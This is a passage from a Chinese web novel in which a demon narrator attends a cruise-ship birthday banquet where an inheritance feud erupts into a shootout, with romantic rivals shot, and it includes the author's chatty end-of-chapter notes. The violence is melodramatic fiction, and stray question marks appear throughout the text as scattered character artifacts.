我翻了个身,把手机压在耳朵下面,在床上滚来滚去,把被子卷成一团,激情地喊道:“工作!都怪工作!我之前就说过的!我根本不应该工作!” 电话那边传来他翻身的声音,还有布料摩擦的窸窣声,听起来是重新躺下了。 “我阻止过,失败了。” 我:“你应该再努力?一点。” 宗朔没有表示,而是调侃道:“今天突然就开始怀念以?前的烂日子了?真罕见。” “其?实只是想那个了。” “……” “我现在来?”他问。 “不用了。” 我再次拒绝,抱着被子,盯着天花板上模糊的光影,“你给?我唱歌吧,哄我睡觉,要那种……小时候听过的摇篮曲。” “尽折腾我吧。”他啧了一声,认命般叹了口气。 过了一小会儿,听筒里传来他断断续续、完全不在调上的哼唱,嗓音低沉沙哑,毫无技巧,甚至有点像老旧二胡拉出来的噪音。 等他唱完,我点评道:“好难听。” 他又打了个哈欠,带着浓重的睡意:“老板你最?大,你说啥是啥。” “你这个年纪,你睡得着吗?” “在你打电话前,我已经在梦里畅游了。” “……” 话筒对面传来浅淡的呼吸声,混合着窗外淅淅沥沥、永无止境的雨声,一起涌进耳朵,像是整个世界都被浸泡在了潮湿的安宁里。 电话那边传来轻飘飘的声音:“……睡着了?” “没有。” “如果你想要,我现在就来。”他又问了一遍,“只用说想还是不想。” 我闭上眼睛:“太?麻烦了。” “行。” 过了一会,他又说:“你真的没事??” “我已经养胃了。” 宗朔啧了一声,嘀咕道:“下次能不能提前叫我,别中断行不,实在不行我去给?你弄点药?年纪轻轻的,怎么?就……” “你来数羊吧。”我打断他,“我要梦到一群白羊,毛特别白特别蓬松的那种。” “……行。” 他像是念经一样念了起来,一只羊,两只羊,三只羊…… 我的视线,不由自主地飘向卧室门下方的那条缝隙。 黑暗中,似乎有比夜色更深的阴影,在那里停留了片刻,然后悄无声息地挪走了。 但柠檬气息依旧固执地弥漫在空气里,不肯散去。 在宗朔平板无波的数羊声和窗外连绵的雨声中,我的意识渐渐模糊,沉入了梦乡。 再醒来时,白天亮得刺眼。 手机还贴在耳边,屏幕显示:通话时长?8小时47分,已经挂断了。 房间里异常安静。 我吸了吸鼻子。 空气中,那股日夜萦绕、从未间断过的柠檬气息终于消失不见了。 哥哥离开了。 应该说是栾明。 他留下一张纸条,说自己要出差,而有人敲响大门,打开后露出了一张熟悉的脸。 霍亦瑀来了—— 作者有话说:窝困得遭不住了,忙得焦头烂额,但是明天就可以解放了,大家!一起奔向2026(奔跑) 明天下午最后一个报告,窝要解放!!!! 所以下午再回评论,嘿嘿嘿嘿嘿(扭) 第119章 栾明消失了。 霍亦瑀来了。 像是某种无?声的交接仪式, 一个人退场,另一个人便从容补位。 霍亦瑀似乎终于处理完了那些不得不处理的麻烦,带着一身闲适的气息出现在我家,然?后自然?而然?地当上了厨师。 他的厨艺有长进?。 但我还是很?疑惑, 栾明去哪里了, 他又怎么了?难不成已经被谁处理了? 但在我看到他留下的纸条后, 我确认了,他只?是突然?有事而已,至少纸条上是这?么写的。 我问宗朔一个人突然?离开是什么意思,他说为什么不问问我自己, 还有,这?种问题我从来没跟他说过。 他还是不懂,我只?是想要兑现一个承诺而已。 满足栾明, 只?是一个小小的愿望,然?后堂堂正正地离开这?个世界。 身为恶魔,我也是有底线的!答应了的事,总要做到。 脑子里的天使系统适时评价:“那你应该杀了他。” “为什么?” 他没有解释原因, 只?是开始叙述一堆陈年旧事,关于那些早已湮灭在宇宙里、乱成一团的恩怨与生命。 杀掉一个人是夺走他的生命,是一种掠夺,但如?果双方都自愿呢?这?种掠夺或许就变成了奉献, 不过, 到底是谁在奉献, 这?似乎又成了一个哲学问题。 我又开始想哲学了。 请叫我哲学恶魔, 谢谢。 “有个邮轮上的宴会,想去看看吗?”晚餐时,霍亦瑀状似不经意地提起, 抬眼看向我。 他穿着舒适的深灰色家居服,在柔和的灯光下,整个人像一块被精心打磨过的温润玉石,泛着内敛的光泽。 我想起邛浚的预告,于是点了点头。 最近的天气好得有些诡异,明明天气预报总在预警阴雨连绵,可实际上却总是晴空万里,什么事也没发?生。 晚上,霍亦瑀站在落地窗前看了一会儿外?面深沉的夜色,脸上的情?绪变得很?淡,几乎没什么表情?,在他准备回客房前,忽然?叫住我。 他露出了熟悉的笑,就是那种似有似无?的、引诱的笑容。 “今天晚上,要一起吗?” 原本?就想干点坏事,所以我立马同意了。 第二天,等我还迷瞪瞪的时候,霍亦瑀已经拿出衣服,尽心尽力地服侍我穿上,又拿来牙刷,塞进?我的嘴里,但我阻止了,这?种事还是要自己来做。 我刷牙的时候,他在门口看着我。 “他会这?样?照顾你吗?”他忽然?问。 “谁?” “栾明。” “会啊。” 我吐掉漱口水,揉了揉惺忪的睡眼,走到客厅。沙发?上放着一个包装精美、系着银色缎带的大礼盒,昨天还没有。 我好奇地问:“这?是什么?” “今天晚上的宴会是为了庆祝八十大寿,自然?要带点礼物。” 他将盒子打开,深蓝色的布料里上躺着一只?晶莹剔透、瓶身雕刻繁复的花瓶,一个就占据了这?么大的盒子。 我瞥了一眼,兴趣缺缺:“邮轮上还有什么好玩的吗?” “当然?。”霍亦瑀说,“不过怕你觉得无?聊,我给你带上了游戏机,那种场合,大部?分人时间都花在迎来送往、交际应酬上,热闹是热闹,但很?难说有趣。” 但邛浚说会有趣诶。 上车后,霍亦瑀一手撑着下巴,望着窗外?飞速后退的街景,不知在想些什么。 片刻后,他撩起眼皮看向我,伸手替我抚平了外?套上一处几乎看不见的细微皱褶,语气带着点打趣:“这?么些天,你倒是过得开心,你哥就像从来没有存在过。” “如?果真能这?样?,倒也不错。”他说,“我不喜欢他待在你身边。” 我应该把这?个当做是攻击预警吗,还是一句话?而已。 我想了想,说:“现在不是不在吗。” 霍亦瑀低笑了一声,短促、没什么温度,他松开手:“我住进?来,对你来说,有什么不一样?吗?” “当然?不一样?。” 我说:“你们是不一样?的。” 他看着我,浅淡的眼眸一眨不眨,像是听到了什么极有意思的话?,嘴角的弧度加深了些,但说出的话?却截然?相反:“听到你这?么说,我有点后悔之前的决定了。” 他说:“之前或许应该做得绝一点。” “不过……” 他重?新看向窗外?飞逝的景色,领带上那枚钻石领夹光芒一闪而过,“谁知道未来会发?生什么呢。” 车辆抵达码头时,天色已是一片铅灰,阴云密布,压得很?低,仿佛随时要塌下来。 海面却异常平静,如?同一块巨大的、暗沉的灰色玻璃,庞然?大物般的白色邮轮稳稳地停靠在岸边,灯火通明,像一座漂浮在海上的高楼大厦。 “今天不会下雨吗?”我问。 “下雨也无妨。”霍亦瑀解释,“邮轮会原地停泊,不受天气影响。” 这?艘邮轮足有十几层楼高,简直像一栋被平移到了海边的摩天大楼,不远处,几只?海鸥在低空盘旋,在视野里小得像是昆虫。 海风带着咸湿的寒意扑面而来,吹得人微微发?抖。 至于为什么要在这?个时候邮轮宴会,霍亦瑀说是因为八十岁大寿的礼物就是这?艘邮轮。 我大吃一惊:“可是八十岁,她?都坐不了几次了诶。” “只?是一种象征而已。” 霍亦瑀说:“以前这?位喜欢船,为了证明有多么爱她?,所以后辈买了这?条邮轮,至于她?喜不喜欢,不重?要。重?要的是,但在大众的眼光里,这?位后辈有足够有孝心,现在要财产分割,也要在舆论上过得去才行。” 一牵扯到钱,事情?就清晰了。 原来是因为钱啊。 登上邮轮后,里面繁华得像是城市中心的街道,大厅装修和高级酒店类似,每个人衣冠楚楚。 门口的侍者训练有素地接过源源不断的礼物,堆放在一旁的推车上,很?快便垒起一座小山。 如?果进?去偷点,说不定都没有人发?现,像她?八十岁有这?么多礼物,那我五百多岁,是不是应该有更?多才对? 我细数了下自己的资产,有点可惜没成为世界首富,因为明星炫富会被猛喷,连直白的炫富都没做过。 所以我一直保持着老实本?分、安分守己的形象。 至于其他人有没有看出来,我觉得大众的目光是雪亮的,至少粉丝的眼睛雪亮。 一路上,我遇到了许多个打招呼的人,一张又一张的脸掠过,百无?聊赖地听霍亦瑀回应他们的恭维,最后还要到过生日本?人的面前,和坐在轮椅上精神?十足的老人说话?。 她?身后站了几个男女,旁边那个帮她?扶着轮椅的就是送邮轮的人,而后面几个都是她?的后代。 只?看表情?的话?,每个人都很?开心,气氛融洽。 但从他们身上散发?出的、几乎凝成实质的负面情?绪,却像看不见的烟雾,在空气中暗暗涌动。 我猜,现在是豪门狗血的场合。 不过和我没关系,我在搜罗了一转整个邮轮后,只?发?现一层是休闲娱乐场所,但是里面只?有小孩,已经变成儿童场所了。 作为一个有头有脸的人物,我进?去像个什么样?子。 很?重?要是有几个小孩还在流口水,我看到口水滴在玩具上了。 所以,我绝对不会去的! 我回到了大厅,身边紧跟着霍亦瑀的助理,他像是草丛里的兔子,风吹草动都会把他吓一跳似的,不停地看来看去。 于是,我偷偷地停止脚步,等他往前走几步,再走到他的右边,不经意间咳了一声,把他吓了一跳。 他果然?吓了一大跳,身体猛地一僵,手几乎是本?能地按向腰间。 这?个动作让我看清了他西装裤口袋附近不自然?的凸起。 意识到是我之后,他明显地松了口气,但脸色依旧有点发?白,略带苦恼地压低声音:“栾小姐,您可别?吓我了,我最近熬夜处理事情?,心脏经不起这?么吓。” 我看向不远处和几个聊天的霍亦瑀,又看了眼周围穿着黑衣的保镖们,发?现他们似有似无?地遮盖着腰部?。 我问:“你们带枪干嘛?” 助理浑身一震,差点被自己的口水呛到,猛地咳嗽起来,他赶紧用拳头抵住嘴,声音压得更?低:“只?是为了保险而已,栾小姐,你要是没事的话?,先去房间里待着吧。” “今晚预报有风浪,待在房间里比较安全。” “大风还要再船上开宴会。” 我抱怨了一句,想着回去打游戏,于是让他带路。 前往房间的路上,他依旧精神?高度紧张,直到把我安全送进?套房,关上门,我才听到门外?传来他明显放松下来的、匆匆离去的脚步声。 我又不是没见过枪。 以前还以为霍亦瑀只?是个司机,后来才知道他虎口和食指侧面的薄茧是常年握枪留下的,他说是兴趣,闲暇时会去靶场,或者打个猎什么的。 人类很?奇怪,明明不缺吃的,却要去打猎。 我也跟着去过一次,不过枪这?种东西,不好玩。 只?是站在很?远的地方朝着靶子射击,有什么好玩的? 我还是更?愿意玩点游戏,至少有分数和奖励,于是,我躺在床上开始打起游戏。 套房很?宽敞,客厅、卧室、浴室一应俱全,像高级酒店,床边的窗户不大,但能看见外?面漆黑海面上,远处船只?星星点点的灯火。 我久违地登录了一个只?有我一个人在玩的、快要倒闭的垃圾游戏。 刚一上线,邮箱就被各种“恭迎榜一回归!”“感谢您长久以来的支持!”的系统邮件和礼物塞满了。 在一堆感激涕零的客服邮件里,我瞥见了一个熟悉的名字。 根据邮件内容,这?个人很?久以前就买下了这?个游戏的运营权,但仍旧交给原开发?团队管理,唯一的要求是游戏必须一直运行下去,只?要服务器不关,他会持续支付所有的运营费用。 再次看到这?个名字,我有点感慨。 已经过去这?么久了,不知道他脸修复好没有。 叩叩叩。 房门被敲响。 没等我起身应答,门把手转动,有人径自推门走了进?来。 是颜升。 在大厅的时候,我压根没看到过他。 他穿着一身剪裁合体的深色西装,难得看起来正经了许多,只?是胸前别?着的朵白色的花,比起寿宴上,更?像是去参加葬礼的装扮。 我瞥了他一眼,重?新躺回去,专注于手机屏幕上的游戏。 “不看看我吗?” 声音接近的同时,床垫因另一人的重?量微微下陷,浓郁的、甜腻的鲜花饼气息瞬间包围了我。 颜升双手撑在我身体两侧,俯身靠近,居高临下地看着我,眼睛弯起,露出一个无?比愉悦的笑容。 “不看。”我继续盯着屏幕,“很?忙啊,没时间。” 他笑了一声,非要把脑袋挤进?我和手机之间,整个人的重?量几乎都压了下来,发?出几声闷笑。 “不好奇吗?我为什么出现在这?里,还能走进?房间?” “说吧。” 我继续搓搓搓。 “因为我干了一件大事。” 他的呼吸喷在我的下巴上,潮热中带着压抑不住的兴奋,手臂揽住我的腰,狭长的眼睛里闪烁着恶作剧得逞般的光。 然?后,他抛出一颗炸弹:“霍亦瑀差不多要被我整死了。” 我搓手机的动作停了下来。 “要?”我抓住关键词,“你还没完成?” 不知哪里戳中了他的笑点,他乐不可支地笑了起来,甚至笑到肩膀耸动,“对啊,还没完成呢,不过也快了。” “那你说什么,你是在白日梦吧。” “为什么这?么说?”他歪头看着我。 我继续搓手机,随口回答道:“因为你比不过他啊。” 颜升认真地听着,笑容忽然?变淡了几分,不过随即又加深:“以前嘛,可能吧,不过现在他也要自求多福。” “想让他出事的人可有太多了,要怪就怪他太惹人厌烦了吧,毕竟像现在这?样?被围攻的局面,也是他一手造成的。” 他忽然?停住话?头,侧耳倾听,神?情?变得专注。 我也竖起耳朵。 除了隐约的海浪声,我听到了几声被距离和环境杂音模糊了的声响,像是……枪响? 紧接着,是更?清晰的、短促的尖叫,以及楼上楼下同时响起的、混乱而密集的脚步声。 颜升凑得更?近了些,几乎贴着我耳朵,笑着说:“你看,现在是进?行时了。” “再过一会儿,等我们走出去,就是完成时。” “尸体要怎么处理呢。”他像是真的在烦恼,歪着头思考,“要不……直接丢进?海里?温柔一点,毕竟我们曾经也算是朋友嘛,合作伙伴。” 我想了想,问:“丢进?海里算是污染吗?” “可能哦。” 颜升噗呲一声笑了起来,拉着我坐起来,跪在床上,拉着我的手摸向他的胸口,然?后引导着,一路往下—— 我碰到了坚硬的金属物体。 他把别?在腰侧的东西卸了下来。一把线条冷硬的手枪,出现在我们之间,他勾着我的手指,慢慢将枪塞进?我的掌心。 “玩过吗?”他问。 我掂量了下重?量,兴致缺缺地说:“玩过,不好玩。” “因为没有玩到刺激的吧。” 他握着我的手,让我将枪口抵上他自己的左胸心脏位置,“像现在这?样?叫作调情?哦。” 枪口一点点下压,挑开西装和衬衫,露出下面温热的皮肤。 “这?次可以吧。” 颜升低低地喘息,脸上露出一种混合着隐忍与兴奋的古怪表情?,眼中光芒亮得惊人:“我做了这?么多,总要给点奖励吧。” 这?和我有什么关系吗? 杀掉霍亦瑀,对我有任何的好处吗? 颜升永远是最擅长自说自话?的那个。 我按下扳机。 咔嚓一声轻响,什么也没发?生。 果然?没子弹。 我把枪甩到一旁,转身继续拿起手机。 身后传来沉甸甸的、带着体温的重?量,他重?新压在我背上,闷闷地笑了好几声,像得了什么宝贝,发?痴般地隔着衣服轻咬我的肩膀。 被我踹了几脚,他才稍微安分下来,躺在我旁边,侧着头看我。 “知道你会做,所以我拆了所有的子弹。” 他语气里带着点得意:“要是刚才被你打死的话?,你可是会因为谋杀罪坐牢。” “我就知道你没放子弹。” “为什么?” “因为调情?嘛。”我学着他的语调,故意拖长尾音。 但丝毫没有恶心到他。 忍不住把脸埋进?柔软的被子里,只?露出一双笑得弯成月牙的眼睛,好半晌,他才缓过气来,朝我眨眨眼:“我真是太喜欢你了。” “现在霍亦瑀死了,以后就让我来——” 话?音未落,一连串急促而沉重?的脚步声由远及近。 门被轰的一声踹开,还没看清来人,背后再次传来关门的轰响。 颜升脸上的笑容瞬间冻结,所有表情?褪得一干二净,取而代之是极具攻击性的冰冷。 “——是你?” 来人摘掉了侍者戴的黑色小圆帽,扯下脖子上的领结,随手扔在地上,露出一张状似无?辜、笑容清爽的脸。 穿着侍从服的邛浚抬手比了个耶,笑眯眯地说:“惊不惊喜?是我诶,又来送惊喜外?卖了。” “Surprise!” 说完,他对颜升补充道:“不是给你的,别?自作多情?。” 颜升看向那扇被反锁的门,又缓缓转回头,整理了一下自己有些凌乱的领口,撩开额前垂落的金发?。 他忽然?低笑了一声,语气冰冷:“谁让你进?来的?霍亦瑀?还是……季茵?” 季茵?谁?听起来好像和今天八十大岁的是同一个姓。 “和他们没关系啦。” 邛浚语气轻松,下一秒,他毫无?征兆地从后腰掏出一把手枪,黑洞洞的枪口稳稳地指向颜升:“滚到床边跪着,谁让狗上床了。” 两人视线在空中相撞,谁也没有动。 我左看右看,迟疑道:“所以,现在是什么情?况?” 邛浚笑了一下,从另一个口袋里掏出一个金属打火机,抛给我:“不是说了吗?给你看烟花呢。” “人体烟花?” 这?不行吧,有点重?口了。 “不好看吗?”邛浚打量着颜升,摸摸下巴,恍然?大悟,“对!脸还不够花,确实不好看。” “你知道你在做什么吗?” 颜升的声音冷得像块冰:“动了我,家里所有人都不会放过你,你不就是想要那份继承权吗?前几天在我面前装得像个孙子,现在不装了?” “继承权嘛,”邛浚握着枪的手稳如?磐石,他慢悠悠地踱步到我床边,甚至颇为惬意地坐了下来,还翘起了二郎腿,老神?在在,“我的确想要。” 他的话?在半空中打了个转,看向颜升:“不过看到你这?幅样?子,好像也没那么重?要。” 颜升的目光在我和邛浚之间来回扫视,随即笑了起来,只?是那笑容看着实在不怎么愉快,太阳穴甚至凸起了青筋。 “你以为你就能得到她??和霍亦瑀合作的下场是什么,你很?快就会知道了,蠢货一个。” “别?这?么嘛。” 邛浚猛地皱起眉头,表情?无?辜,“谁说我要得到谁了?而且,小冬是人诶,你一条狗还想得到主人,是不是有点倒反天罡了?” 我赞同地点头。 邛浚朝我眨了下眼睛,额前微卷的碎发?遮住了一点视线。 他困倦地打了个哈欠,用枪口朝颜升那边点了点:“快点跪好,听不懂人话?吗?真没见过你这?狗,啊不……狗好像就是听不懂人话?来着,抱歉啊,忘记尊重?你的天性了……” 颜升像是被气笑了,他一把扯下自己的领带,随手扔在地上,用舌头顶了顶腮帮。 “跪?我可不是你这?种贱种生的,骨子里流着暴发?户的血的畜生——” 嘭! 震耳欲聋的枪声在我耳边骤然?炸响! 我手一抖,差点把手机扔出去,幸好游戏挂机,不然?手抖肯定要损失血量。 等我抬头,颜升已经捂着左臂,脸色黑沉如?铁。疼痛让他浑身肌肉瞬间绷紧,额头上迅速沁出大颗汗珠。 他踉跄着后退几步,重?重?撞在墙壁上,旁边的窗户玻璃上留下一个像是蜘蛛网破裂的弹孔。 我揉了揉耳朵,抱怨道:“你们不可以出去打吗?我差点聋了。” “抱歉啦。”邛浚耸了下肩膀,“要是装了消音器,就听不到烟花爆炸的响声了,多没劲。” 声响过后,房间里细小的声响重?新爬了出来。 粗重?的呼吸声掩盖了外?面隐隐约约的声音,血腥味在房间里蔓延。 我放下手机,来到颜升面前,仔细地观察他的状态。 颜升扯动嘴角,抱怨道:“早知道装几个子弹了,被你打死,总比被贱种看热闹强。” “抱歉哦,我不是贱种——” 后面传来的声音被我忽略,我盯着颜升肩膀上的伤口,衬衫被血打湿,破洞处仍旧源源不断地流出血。 “你说了吗?”我问。 “什么?” “flag之类的话?。” 颜升沉重?地呼吸着,咬紧牙关扯出一个惨白的笑:“可能吧……太得意的时候,谁不会脱口而出几句?” “你果然?比不过霍亦瑀。” 听到我的话?,面前的人不再控制面部?肌肉,目光沉沉地盯着我。 他忽然?靠近我,在我脸颊上留下一个湿漉漉的、带着血腥味的吻,紧接着又抓住我的手臂,力道大得像是钳子。 但在他做出下一步前—— 嘭! 枪声再次炸响! 颜升左腿一弯,闷哼一声,单膝重?重?跪倒在地。 我转头看去,面无?表情?的邛浚露出灿烂的微笑,歪头问:“怎么了?” “你要坐牢吧。”我说,“这?已经违反法律了。” “法律啊。” 邛浚给枪上膛,无?所谓地说:“这?种东西,销毁掉证据不就好了。” 一只?手抓住我的脚腕,我转过头,跪在地上的颜升强撑着呼吸,汗水流进?眼睛里,让他的眼球布满红血丝。 他抬头露出笑:“……看着我好吗?我还在呢。” “这?一步算是我输了。” 他低头看了看自己染血的手心,随即抬头看向邛浚,眼神?依旧充满不屑:“不过……你也好不到哪儿去。” “我说过了,你只?不过是不入流的下水道老鼠,一辈子也得不到自己想要的东西,只?能可悲地接受现实……呼,霍亦瑀这?人我知道,他绝对不会放过你的,可惜啊,我竟然?中招了两次。” 颜升重?新将目光聚焦在我脸上,额头上的汗珠不断滑落,浸入他的眼睛。 但他一眨不眨,只?是死死地、用尽力气地看着我。 “只?要想到你和别?人在一起……就像有无?数只?虫子在啃我的骨头,那种痒意,是从灵魂里钻出来的……我可不是什么大度的人,看到混乱,就想亲自下场把水搅得更?浑。” “等待这?种东西,真麻烦啊。” 他撑着墙壁,摇摇晃晃地站起身,踉跄着走到破碎的窗边,然?后弯腰,捡起地上那把没有子弹的空枪,转身,递给我。 “来吧。”他的脸色惨白如?纸,眼神?却亮得吓人,“我想要你亲自动手。” “……” 邛浚又开了一枪,这?次没射中,只?击中了后面的玻璃,哗啦一声全碎了,寒冷潮湿的海风猛地灌了进?来,海浪声像是某种生物的嚎叫。 颜升依旧看着我。狂风将他金色的头发?吹得凌乱不堪,衣物猎猎作响。 他的眼睛,像两簇濒临熄灭、却拼命燃烧的火苗。 许愿的时候,这?种火最难吹了。 在时间流逝的同时,我掂量了一下手里的枪,转身问邛浚要子弹。 邛浚嘴角的弧度降了下去。 他沉默地接过我手里的空枪,动作熟练地装上几颗黄澄澄的子弹,然?后递还给我,嘴里还抱怨着:“一定要亲自来吗?会脏手啊。” “这?可是偏爱。” 颜升不屑地说:“你懂个屁。” 我握紧了枪,对准了他。 他的身体瞬间绷得更?紧,像一张下一秒就要断裂的弓,鲜血从手臂和腿上的伤口不断渗出,在脚边的地毯上晕开两小片触目惊心的深色。 要开枪吗? 他深深吸了一口气,又缓缓吐出,目光沉沉地锁住我。 然?后,他费力地抬起没受伤的右手,将胸前那朵格格不入的白色胸花摘了下来,放在唇边,轻轻吻了一下。 “就算下辈子……”他声音很?轻,却异常清晰,“我也会缠着你。” “砰——!” 扣动扳机的一瞬间,巨大的后坐力让我往后退了一步,与此同时,瞬间被灌入的狂风吞噬,消失在窗外?。 我听到下方传来一声被海浪声掩盖了大半的扑通落水声。 我走到窗边,探头向下望去。 下方是翻涌的海面,在邮轮灯光的映照下泛着破碎的光,什么也看不见。 而楼下甲板更?乱,跑步声、尖叫声、枪声……就像是世界末日一样?。 不像烟花,这?是在放炮吧。 邛浚快步走过来,一把抢过我手里的枪。 他扯过自己脱下的侍者外?套,用力擦拭着枪柄和扳机,直到确认擦得干干净净,然?后猛地甩出。 手枪划出一道弧线,远远地坠入海里,连个水花都没溅起多少。 做完一切,他往后退了几步,无?奈地叹了口气,对我耸了下肩膀:“可惜了,烟花炸起来没个响。” “这?明明是在放炮。 ” 我看了眼他手里的枪:“你的不用处理吗?” “不用啊。”邛浚坐回床上,拍了拍身边,笑嘻嘻地说,“先坐,不着急嘛。” 我坐过去,看了眼手机,还在持续的挂机中,于是撑着手臂看着地上的血。 他晃着没受伤的那条腿,解开绑在身上的侍者围裙扔到一边,又瞥了一眼地上那朵被踩得不成样?子的花,好笑地嗤了一声。 “终于甩掉这?坨大麻烦了。” 他大喊道:“恭喜你,恭喜我,恭喜世界!” 激动地喊完,邛浚又安静下来,窸窸窣窣地动来动去,像个团团转的仓鼠。 等他忙过好一阵,彻底安静无?声。 我转过头,对上他注视着我的视线。 邛浚弯起眼睛笑了笑,拿着自己那把枪递到我面前,“那种烂货你也帮,那再帮我个忙呗。” 我:“干嘛?” “往我手臂里开一枪。” “你要制造斗殴场景吗?”我好奇地说,“还是要怎么办?” “差不多吧。” 邛浚耸耸肩,把枪塞进?我手里,引导着我的手指放在扳机护圈上,“做个样?子,被家里那些老家伙看见,至少年纪大的会心软。” “毕竟这?个家里有作用的年轻人就只?剩下我了。” 他握着我手,在我耳边催促道:“按快点,最好不要让我反应过来,我可是很?怕疼的,小时候蛀牙都能把我——” 就是现在! 我趁他说话?分神?,指尖用力,扣下了扳机。 子弹狠狠地钻进?了他手臂,砸进?地板,留下一个深深的凹痕。 他瞬间失语,愣愣地看着冒血的伤口,但另一只?手已经条件反射般地动了起来,不知从哪里扯出一卷绷带,动作极其麻利地开始止血。 “……把我疼得半死。”他把刚才的话?说完,声音发?颤。 邛浚喘息着,抬手胡乱地擦了擦枪,然?后身上像没有骨头似的靠在我肩膀上。 一头卷发?濡湿地蹭着我的脖子,被我按下去,又弹了起来。 他倒吸口气凉气:“原来这?么疼啊,早知道用刀随便划拉一下应付应付了……” 我看了眼他按着伤口,瞥向破碎的窗外?,海风哗啦啦地灌进?房间,吹散了暖气,让我精神?十足。 地上散乱着玻璃和血迹。 我回想起被丢进?海里的枪,后知后觉地想起自己违法了,不禁有点心虚。 如?果被抓上法庭,我只?能说都是颜升要求的,我是被迫的啊。 “解决他之后,你想干嘛?”我问。 靠着我的人呼吸粗重?,闭着眼睛说:“得到继承权,然?后……坐个牢?” “你这?语气,到底是要坐,还是不坐?” “应该要吧。”他用额头蹭我的衣服,发?出含糊的叹气声,“毕竟和人合作很?难不被背刺,我还是喜欢一个人干啊。” 我点点头,又摸了摸下巴,苦口婆心地说:“所以不能违法啊。” 邛浚笑了起来,笑得身体都在微微发?抖,他抬手揉了揉眼睛,抬起头看我,眼眶泛红,脸色一片惨白。 “不这?么做的话?,我连上牌桌的资格都没有,直接出局了,霍亦瑀这?人可真行,要是我投胎再努力点,肯定没他们什么事儿。” 他啧了声,长长地吐出口气,费力地坐直身体,看了眼窗外?,慢悠悠地说:“感情?真是难以预料。” “让人变成疯子,疯子更?疯。” “连等待都做不到,怪不得之前被整了一回,还不涨教训,现在好了,要去争下辈子的事了。” 他看向我,鼻尖滴下汗珠,宽慰道:“放心吧,我迟早会回来的。” “我说这?句台词总不会有事吧,可不是flag,是经典打不死的小强台词,简直就是为我量身定做。” 邛浚看着我,眨了下眼睛,不知道想到什么,他喃喃自语道:“如?果可以再长一点就好了,时间再久一点就好了——” “嘭!” 就在这?时,窗外?漆黑的夜空中,骤然?爆开彩色光团!紧接着,是第二团、第三团……无?数光点拖着长长的尾巴升空,在最高点轰然?绽开,化作漫天彩光。 烟花噼里啪啦地扩散,隐约印出八十的数字。 刮大风都不能阻止在邮轮上庆生,枪战当然?也不能阻止生日烟花。 我盯着窗外?砰砰作响的烟花,胃部?暖洋洋的。 再转过头时,邛浚朝我笑了下:“烟花,我没说错吧。” 烟花接近尾声的同时,一连串整齐的脚步声,由远及近响起。 房门被猛地踹开。 邛浚站直身体,挡住我的视野,但很?快一群穿着制服的警察将他按住,露出在门口的人。 在混乱的逮捕现场里,一个人走了进?来。 霍亦瑀衣着完好,连衣角也没有损坏,只?是靠近颧骨的位置,溅上了几滴已经暗红色的痕迹。 他看了眼破碎的窗户,目光平静,缓步地来到我前面。 邛浚被警察按在地上,闹哄哄地往外?带去,我还想看看抓捕现场,但霍亦瑀遮挡住我的视线。 他抽出手帕,将我衣角上的血迹擦得干干净净,我没注意到,可能是颜升靠近的时候弄上的。 他说:“该回去了。” 擦干净后,他瞥了一眼那方染了污迹的手帕,手指松开,任由它落在地毯上—— 作者有话说:总算写到这里了,但素有点不满意,哼哼哼哼哼哼嗷嗷嗷嗷嗷嗷嗷嗷,继续番外补充点! 窝就这样和大家一起奔向2026,元旦节快乐!!! 大家今年也要来看窝哦(扭) 第120章 糟糕, 我被警察包围了。 但?我是清白的,我怕什么怕,只是警察而已。 等慢悠悠晃到大厅时,眼?前的景象已经彻底变了。 大理石地板上随处可见干涸的暗红色血迹, 桌椅东倒西歪, 缺胳膊少?腿, 现场看起来像是被一群发疯的犀牛开着烟花庆祝过。 穿过一众警察,霍亦瑀领着我穿过大厅,走向邮轮出口,抵达门口时, 我才发现被铐走的不止有衣冠楚楚的宾客,还有好几个穿着侍从马甲的家伙,和邛浚一个打扮。 夜晚的海边冰咸湿, 呼啦啦地往脸上吹,紧密地往骨头里钻。 霍亦瑀打开车门,我立马钻了进去,有了车内的空调, 浑身的海风凉意瞬间被压下去了。 我探头打量着外面走来走去、兵荒马乱的景象,不远处刚停了几辆车,从车上下来一群扛着摄像机的人,刚靠近, 警察便围起警戒线, 拦住闪光灯和人。 我砸吧了下嘴, 看得津津有味, 直到霍亦瑀重新回到我旁边,带进一股凉意,我才意犹未尽地收回目光。 “累了吗?” 霍亦瑀随意解开几颗扣子, 零散的碎发遮挡住眼?睛,投下细碎的阴影:“今天晚上发生太多事了。” 注意到我的手里捏着的东西,他哼笑一声?,自然地从我手里抽出打火机,在手心?里掂了下,挑眉看我:“这种东西就不要拿着了,毕竟是重点嫌疑人的。” 我扭过头,好奇地问:“到底发生了什么。” “争夺遗产。” 他眉眼?淡淡的,没什么情绪,像在陈述天气预报,“私藏枪支到船上,还有人乘机偷东西,同一时间发生太多事,最后就变成这幅模样。” “不过手法粗糙,掩饰得很?差,像这种训练有素的雇佣兵,混进人群里一眼?就可以看出来。” 他说完,目光转回来落在我脸上,抬手整理我的头发,勾到耳后,随即手指停顿,不轻不重地捏了下:“吓到了?” “没有。” 他点点头,收回手,调转话?题:“颜升去你的房间后,发生了什么。” “你不是知道吗?”我看了他一眼?,“和邛浚合作的是你吧。” 霍亦瑀笑了笑,转头看向窗外,红蓝警灯的光透过玻璃映在他侧脸上,让他的轮廓显得有些模糊不清。 他说:“我知道会是这个下场。” “合作的时候,我就在想,是什么让他做到这个地步,佯装什么都没有发生,主动提出合作的建议。” “原本我还以为是更深层次点的原因?,结果……” “原来只是这样。”他微不可闻地吐出一口气,平淡地点评道。 霍亦瑀双手交叠着,嘴角的弧度拉平,垂下眸说:“朋友这层关系,有时候薄得很?,扯断了也没多大动静,我对他没什么感情,但?他能疯到这种程度,我还是感到一点意外。” “不过,这是他自己选的,在做出选择的那一刻,他就已经输了。” 这算是犯罪阐述吗?还是在说什么? 我脑袋里想不了那么多东西,于是拿起手机看了眼?游戏,平静地说:“我倒是觉得他挺好懂的,反正什么都会说出来。” 邛浚也是,虽然总是爱装,但?只要戳一戳,泡一泡,迟早会露馅。 比较之后,颜升忽然变得顺眼?了。 “你的朋友。” 霍亦瑀的声?音在耳边响起,在后面的二字上砸下重音,他说:“这一次我不会收手。” “下次开庭的时候,我会让他在牢里永远出不来。” “颜家那边,我想同样也不会放手。” 他想到什么,轻笑了下:“出来的时候,他的小臂中了枪伤,不得不说,他和颜升的确很?像,不管是对别人还是对自己,都狠得下心?。” “是我打的。”我说,“颜升也是。” 霍亦瑀嘴角那点残余的笑意凝固了。 他没接话?,车里突然陷入一片寂静,只有外面隐约的警笛声?,还有从窗缝钻进来的、带着腥味的海风。 半晌后,他问:“为什么?” “因?为想做就做了。” 